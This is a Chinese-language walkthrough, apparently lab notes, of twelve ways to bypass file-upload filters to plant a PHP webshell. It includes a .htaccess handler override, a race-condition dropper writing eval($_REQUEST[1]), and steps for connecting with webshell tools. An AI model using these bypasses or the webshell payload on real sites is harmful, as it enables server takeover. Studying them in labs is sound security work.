1.前端禁用js绕过
上传文件,进行抓包,没有抓到,说明这里的验证是前端js验证跳出的弹窗
禁用js后,php文件上传成功。
2.文件上传.htaccess
上传png木马后连接不上
代码中存在.htaccess,判断此时应该就是需要用到.htaccess绕过了
编写.htaccess文件 后缀就改为.htaccess,下列为.htaccess文件内容:
AddType application/x-httpd-php .png
放行之后连接木马,显示成功。
3.MIME绕过
上传2.php文件显示文件类型不正确,抓包更改文件类型为image/png,放行即可
文件类型更改后放行,文件上传成功,木马连接成功。
4.文件头绕过
上传php文件并抓包,修改类型和在上传的文件前加上文件头GIF89a
上传成功进行连接
5.黑名单过滤不严--双写绕过
上传php文件后,打开图片地址发现后面的php后缀名被删除了
抓包双写后缀名php,看是否只过滤一次
后缀名更改为pphphp后,发现上传成功
使用工具进行连接
6.黑名单过滤不严--大小写绕过
抓包修改后缀名更改为大写PHP
发现更改重新上传后,显示上传成功,回显如下
7.文件上传--GET 型%00截断绕过
文件上传--00截断前提条件
抓包修改后缀、MIME类型和在上传路径添加new.php,使用%00截断
发送后,使用HackBar验证是否成功
上传成功之后使用哥斯拉进行连接
8.文件上传--POST型%00截断绕过
抓包修改上传文件后缀名、MIME类型和添加new.php文件并使用%00进行截断
截断时选中%00,使用URL解码后(不使用解码,上传失败),进行放行
显示上传成功,进行命令执行
9.黑名单过滤不严--php3绕过
抓包修改php为PHP3
修改后放行显示上传成功,并连接成功
10.条件竞争
制作一个1.php文件,内容是:
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
上传1.php文件进行抓包,添加参数?a=1,进行10000次上传爆破
访问上传的php文件,进行抓包,添加参数?a=1,进行10000次访问爆破
两边同时显示上传成功
访问上传文件,显示成功
成功后可以通过HarkBar进行命令执行
亦可以通过哥斯拉或蚁剑进行连接
11.二次渲染绕过
生成一个图片马为2.gif
12.黑名单 move_uploaded_file /.绕过
上传2.php文件,并保存为2.php/. 抓包进行放行
上传成功,查看上传文件回显
使用哥斯拉进行连接